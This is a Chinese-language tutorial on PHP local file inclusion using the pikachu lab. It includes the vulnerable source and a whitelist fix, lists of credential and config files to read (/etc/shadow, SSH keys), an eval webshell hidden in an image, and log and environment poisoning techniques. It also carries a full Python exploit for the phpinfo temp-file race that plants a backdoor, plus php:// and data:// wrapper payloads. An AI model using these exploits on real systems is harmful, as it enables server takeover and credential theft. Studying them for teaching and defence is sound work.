前言

前言

程序在引用文件的时，引用的文件名在用户可控的情况，传入的文件名没有经过合理的校验或校验不严，从而操作了预想之外的文件，就有可能导致文件泄漏和恶意的代码注入。

什么是文件包含？

程序开发人员一般会把重复使用的函数写到单个文件中，需要使用某个函数时直接调用此文件，而无需再次编写，这重文件调用的过程一般被称为文件包含。

怎么才会造成文件包含漏洞？

程序开发人员一般希望代码更灵活，所以将被包含的文件设置为变量，用来进行动态调用，但正是由于这种灵活性，从而导致客户端可以调用一个恶意文件，造成文件包含漏洞。

几乎所有脚本语言都会提供文件包含的功能，但文件包含漏洞在 PHP Web Application 中居多, 而在 JSP、ASP、ASP.NET 程序中却非常少，甚至没有，这是有些语言设计的弊端。在 PHP 中经常出现包含漏洞，但这并不意味这其他语言不存在。

常见文件包含函数

include()：执行到 include 时才包含文件，找不到被包含文件时只会产生警告，脚本将继续执行

require()：只要程序一运行就包含文件，找不到被包含的文件时会产生致命错误，并停止脚本

include_once()和 require_once()：若文件中代码已被包含则不会再次包含

文件包含漏洞源码分析：

以pikachu靶场本地包含漏洞源码为例：

$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
	//变量传进来直接包含,没做任何的安全限制
    include "include/$filename";
	//安全的写法,使用白名单，严格指定包含的文件名
//  if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
//         include "include/$filename";

//     }
}

由源码可看出，文件名传入并未作过滤，直接include()

文件包含漏洞的利用方法

文件包含漏洞，需要引入上传的文件到网站目录，或是服务器内部的文件，而且是权限是可读，才能引入进来，或远程包含进来，但是需要条件。
文件包含常用路径：
- 包含日志文件 getshell：
  
  /usr/local/apache2/logs/access_log
  
  /logs/access_log
  
  /etc/httpd/logs/access_log
  
  /var/log/httpd/access_log
- 读取网站配置文件：
  
  dedecms 数据库配置文件 data/common.inc.php,
  
  discuz 全局配置文件 config/config_global.php,
  
  phpcms 配置文件 caches/configs/database.php
  
  phpwind 配置文件 conf/database.php
  
  wordpress 配置文件 wp-config.php
- 包含系统配置文件：
  - windows：
    
    C:/boot.ini //查看系统版本
    
    C:/Windows/System32/inetsrv/MetaBase.xml //IIS 配置文件
    
    C:/Windows/repairsam //存储系统初次安装的密码
    
    C:/Program Files/mysql/my.ini //Mysql 配置
    
    C:/Program Files/mysql/data/mysql/user.MYD //Mysql root
    
    C:/Windows/php.ini //php 配置信息
    
    C:/Windows/my.ini //Mysql 配置信息
  - linux：
    
    /root/.ssh/authorized_keys
    
    /root/.ssh/id_rsa
    
    /root/.ssh/id_ras.keystore
    
    /root/.ssh/known_hosts
    
    /etc/passwd # 查看用户账户详细信息
    
    /etc/group # 查看新用户组详细信息
    
    /etc/gshadow # 用户群组密码
    
    /etc/shadow # 用户账户密码
    
    /etc/my.cnf
    
    /etc/httpd/conf/httpd.conf
    
    /root/.bash_history
    
    /root/.mysql_history
    
    /proc/self/fd/fd[0-9]*(文件标识符)
    
    /proc/mounts
    
    /porc/config.gz

本地包含文件（被包含的文件在本地）

文件包含/etc/passwd尝试：
- ../是上一级路径
- 如果存在漏洞，文件又存在的时候，不是 php 文件会被读取显示在页面中。/etc/passwd文件是 linux 里的敏感信息，文件里存有 linux 用户的配置信息。
文件包含图片尝试：
- 寻找网站上传点，把 php 恶意代码文件改成 jpg 上传到网站上，本地包含引入恶意代码，当文件被引入后代码就被执行。
- 恶意代码shell.php:
```
  <?php phpinfo();eval($_post['cmd']);?>
```
  - 将其保存为图片格式shell.jpg等：
- 利用文件上传漏洞上传shell.jpg，得知此文件路径必定是在/unsafeupload/uploads下：
- 拿到地址就可文件包含尝试：
包含日志文件getshell:

中间件例如 iis 、apache、nginx 这些 web 中间件，都会记录访问日志，如果访问日志中或错误日志中，存在有 php 代码，也可以引入到文件包含中。如果日志有 php 恶意代码，也可导致 getshell。
- apache 日志文件权限：root权限
  - www-data是Linux系统中用于运行Web服务器进程的用户，通常只具有对Web服务器进程所需的文件和目录的读写权限
  - 在linux下日志文件权限默认是 root，而php的权限是 www-data 一般情况下都是读取不了，如果是 windows 环境下是可以权限是允许的
    - linux 默认的 apache 日志文件路径是：
      1. 访问日志 /var/log/apache2/access.log
      2. 错误日志 /var/log/apache2/error.log
      把文件日志包含进来即可：
    - 日志记录里发现此时是编码过的，可以进行抓包绕过编码:
      
      再查看日志：
    - 此时可以利用文件包含漏洞，但web目前权限不够，只有www-data，如果有root权限就可以文件包含尝试。
- 下面实验进行相关演示：
  - 创建站点：
  - 站点根目录创建文件包含文件：
    - TEST:
    - apache日志路径：
    - 文件包含：
  - 恶意代码写入日志：
  - 文件包含漏洞利用：
  - apache 错误日志包含漏洞利用也是类似的方法
包含环境变量getshell:
- /proc/self/environ 这个文件里保存了系统的一些变量,也是需要高权限：
- 抓包将恶意代码写入：
- 如果权限足够，包含这个文件就能 getshell

phpinfo文件包含临时文件：

原理: 利用 php post 上传文件产生临时文件，phpinfo()读临时文件的路径和名字，本地包含漏洞生成 1句话后门
- php post 方式上传任意文件，服务器都会创建临时文件来保存文件内容。
- 在 HTTP 协议中为了方便进行文件传输，规定了一种基于表单的 HTML 文件传输方法，其中要确保上传表单的属性是：enctype=”multipart/form-data”
- PHP 引擎对 enctype=”multipart/form-data”这种请求的处理过程如下：
  
  1、请求到达；
  
  2、创建临时文件，并写入上传文件的内容；
  
  3、调用相应 PHP 脚本进行处理，如校验名称、大小等；
  
  4、删除临时文件。
- phpinfo 可以输出$_FILE 信息：在 PHP 中，有超全局变量$_FILES，保存上传文件的信息，包括文件名、类型、临时文件名（php+随机字符）、错误代号、大小。
- 通过多种方式争取时间，在临时文件删除前进行执行包含：
  
  1）通过在数据报文中加入大量的垃圾数据，使 phpinfo 页面过大，导致 php 输出进入流式输出，并不是一次输出完毕
  
  2）通过大量请求来延迟 php 脚本的执行速度

下面实验进行相关演示：

创建两个文件：文件包含和phpinfo文件
创建文件上传html:

kali创建phpinfo临时文件获取脚本lfi-exp.py：

  #!/usr/bin/python 
  import sys
  import threading
  import socket

  def setup(host, port):
      TAG="Security Test"
      PAYLOAD="""%s\r
  <?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
      REQ1_DATA="""-----------------------------7dbff1ded0714\r
  Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
  Content-Type: text/plain\r
  \r
  %s
  -----------------------------7dbff1ded0714--\r""" % PAYLOAD
      padding="A" * 5000
      REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
  Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
  HTTP_ACCEPT: """ + padding + """\r
  HTTP_USER_AGENT: """+padding+"""\r
  HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
  HTTP_PRAGMA: """+padding+"""\r
  Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
  Content-Length: %s\r
  Host: %s\r
  \r
  %s""" %(len(REQ1_DATA),host,REQ1_DATA)
      #modify this to suit the LFI script   
      LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
  User-Agent: Mozilla/4.0\r
  Proxy-Connection: Keep-Alive\r
  Host: %s\r
  \r
  \r
  """
      return (REQ1, TAG, LFIREQ)

  def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

      s.connect((host, port))
      s2.connect((host, port))

      s.send(phpinforeq)
      d = ""
      while len(d) < offset:
          d += s.recv(offset)
      try:
          i = d.index("[tmp_name] =&gt; ")
          fn = d[i+17:i+31]
      except ValueError:
          return None

      s2.send(lfireq % (fn, host))
      d = s2.recv(4096)
      s.close()
      s2.close()

      if d.find(tag) != -1:
          return fn

  counter=0
  class ThreadWorker(threading.Thread):
      def __init__(self, e, l, m, *args):
          threading.Thread.__init__(self)
          self.event = e
          self.lock =  l
          self.maxattempts = m
          self.args = args

      def run(self):
          global counter
          while not self.event.is_set():
              with self.lock:
                  if counter >= self.maxattempts:
                      return
                  counter+=1

              try:
                  x = phpInfoLFI(*self.args)
                  if self.event.is_set():
                      break                
                  if x:
                      print "\nGot it! Shell created in /tmp/g"
                      self.event.set()
								
              except socket.error:
                  return
				

  def getOffset(host, port, phpinforeq):
      """Gets offset of tmp_name in the php output"""
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((host,port))
      s.send(phpinforeq)
				
      d = ""
      while True:
          i = s.recv(4096)
          d+=i        
          if i == "":
              break
          # detect the final chunk
          if i.endswith("0\r\n\r\n"):
              break
      s.close()
      i = d.find("[tmp_name] =&gt; ")
      if i == -1:
          raise ValueError("No php tmp_name in phpinfo output")
				
      print "found %s at %i" % (d[i:i+10],i)
      # padded up a bit
      return i+256

  def main():
				
      print "LFI With PHPInfo()"
      print "-=" * 30

      if len(sys.argv) < 2:
          print "Usage: %s host [port] [threads]" % sys.argv[0]
          sys.exit(1)

      try:
          host = socket.gethostbyname(sys.argv[1])
      except socket.error, e:
          print "Error with hostname %s: %s" % (sys.argv[1], e)
          sys.exit(1)

      port=80
      try:
          port = int(sys.argv[2])
      except IndexError:
          pass
      except ValueError, e:
          print "Error with port %d: %s" % (sys.argv[2], e)
          sys.exit(1)
				
      poolsz=10
      try:
          poolsz = int(sys.argv[3])
      except IndexError:
          pass
      except ValueError, e:
          print "Error with poolsz %d: %s" % (sys.argv[3], e)
          sys.exit(1)

      print "Getting initial offset...",  
      reqphp, tag, reqlfi = setup(host, port)
      offset = getOffset(host, port, reqphp)
      sys.stdout.flush()

      maxattempts = 1000
      e = threading.Event()
      l = threading.Lock()

      print "Spawning worker pool (%d)..." % poolsz
      sys.stdout.flush()

      tp = []
      for i in range(0,poolsz):
          tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

      for t in tp:
          t.start()
      try:
          while not e.wait(1):
              if e.is_set():
                  break
              with l:
                  sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                  sys.stdout.flush()
                  if counter >= maxattempts:
                      break
          print
          if e.is_set():
              print "Woot!  \m/"
          else:
              print ":("
      except KeyboardInterrupt:
          print "\nTelling threads to shutdown..."
          e.set()
				
      print "Shuttin' down..."
      for t in tp:
          t.join()

  if __name__=="__main__":
      main()

其中临时文件名、一句话后门及phpinfo文件位置按实际修改即可,临时文件位置可根据$_file得到：

Alt text

具体实现原理：

在给 PHP 发送 POST 数据包时，如果数据包里包含文件区块，无论访问的代码中是否有处理文件上传的逻辑，php 都会将这个文件保存成一个临时文件（通常是/tmp/php[6 个随机字符]），这个临时文件在请求结束后就会被删除，同时，phpinfo 页面会将当前请求上下文中所有变量都打印出来。但是文件包含漏洞和phpinfo 页面通常是两个页面，理论上我们需要先发送数据包给 phpinfo 页面，然后从返回页面中匹配出临时文件名，将这个文件名发送给文件包含漏洞页面。因为在第一个请求结束时，临时文件就会被删除，第二个请求就无法进行包含。但是这并不代表我们没有办法去利用这点上传恶意文件，只要发送足够多的数据，让页面还未反应过来，就上传我们的恶意文件，然后文件包含：

1）发送包含了 webshell 的上传数据包给 phpinfo，这个数据包的 header，get 等位置一定要塞满垃圾数据；

2）phpinfo 这时会将所有数据都打印出来，其中的垃圾数据会将 phpinfo 撑得非常大

3）PHP 默认缓冲区大小是 4096，即 PHP 每次返回 4096 个字节给 socket 连接

4）所以，我们直接操作原生 socket，每次读取 4096 个字节，只要读取到的字符里包含临时文件名，就立即发送第二个数据包

5）此时，第一个数据包的 socket 连接其实还没有结束，但是 PHP 还在继续每次输出 4096 个字节，所以临时文件还未被删除

6）我们可以利用这个时间差，成功包含临时文件，最后 getshell
上传数据包给phpinfo文件：
获取临时文件信息：
kali运行脚本获取临时文件并插入一句话后门：
- 服务端可查看临时文件内容：
文件包含临时文件：

伪协议getshell:
- 什么是伪协议？
  
  php伪协议实际上就是支持的协议与封装协议。
- 类型：
  
  file:// — 访问本地文件系统
  
  http:// — 访问 HTTP(s) 网址
  
  ftp:// — 访问 FTP(s) URLs
  
  php:// — 访问各个输入/输出流（I/O streams）
  
  zlib:// — 压缩流
  
  data:// — 数据（RFC 2397）
  
  glob:// — 查找匹配的文件路径模式
  
  phar:// — PHP 归档
  
  ssh2:// — Secure Shell 2
  
  rar:// — RAR
  
  ogg:// — 音频流
  
  expect:// — 处理交互式的
- php.ini 参数设置：
  
  在 php.ini 里有两个重要的参数 allow_url_fopen、allow_url_include。
  
  allow_url_fopen:默认值是 ON，允许 url 里的封装协议访问文件；
  
  allow_url_include:默认值是 OFF，不允许包含 url 里的封装协议包含文件。
- 各协议利用条件和方法:
- 常用伪协议利用：
  - php://input 可以访问请求的原始数据的只读流，将 post 请求的数据当作 php 代码执行。
    
    注：当 enctype=”multipart/form-data”，php://input 是无效的。php.ini 条件是 allow_url_fopen =ON allow_url_include=ON
  - file:// 访问本地文件：在本地包含漏洞里可以使用 file 协议，使用 file 协议可以读取本地文件。
    - 读取绝对路径：文件/etc/passwd
    - 读取相对路径：文件php.ini
  - php:// 用于访问各个输入/输出流（I/O streams），经常使用的是 php://filter和php://input
    
    php://filter 用于读取源码
    
    php://input 用于执行 php 代码
    - 使用协议读取文件源码：php://filter/read=convert.base64-encode/resource=/etc/passwd
  - phar://、zip://、bzip2://、zlib:// 用于读取压缩文件
    - zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]（#编码为%23）
    - compress.bzip2://file.bz2
      
      http://127.0.0.1/include.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
      
      http://127.0.0.1/include.php?file=compress.bzip2://./file.jpg
    - compress.zlib://file.gz
      
      http://127.0.0.1/include.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
      
      http://127.0.0.1/include.php?file=compress.zlib://./file.jpg
    - phar://
      
      http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
  - data:// 协议
    - data://text/plain
      
      http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
    - data://text/plain;base64
      
      http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b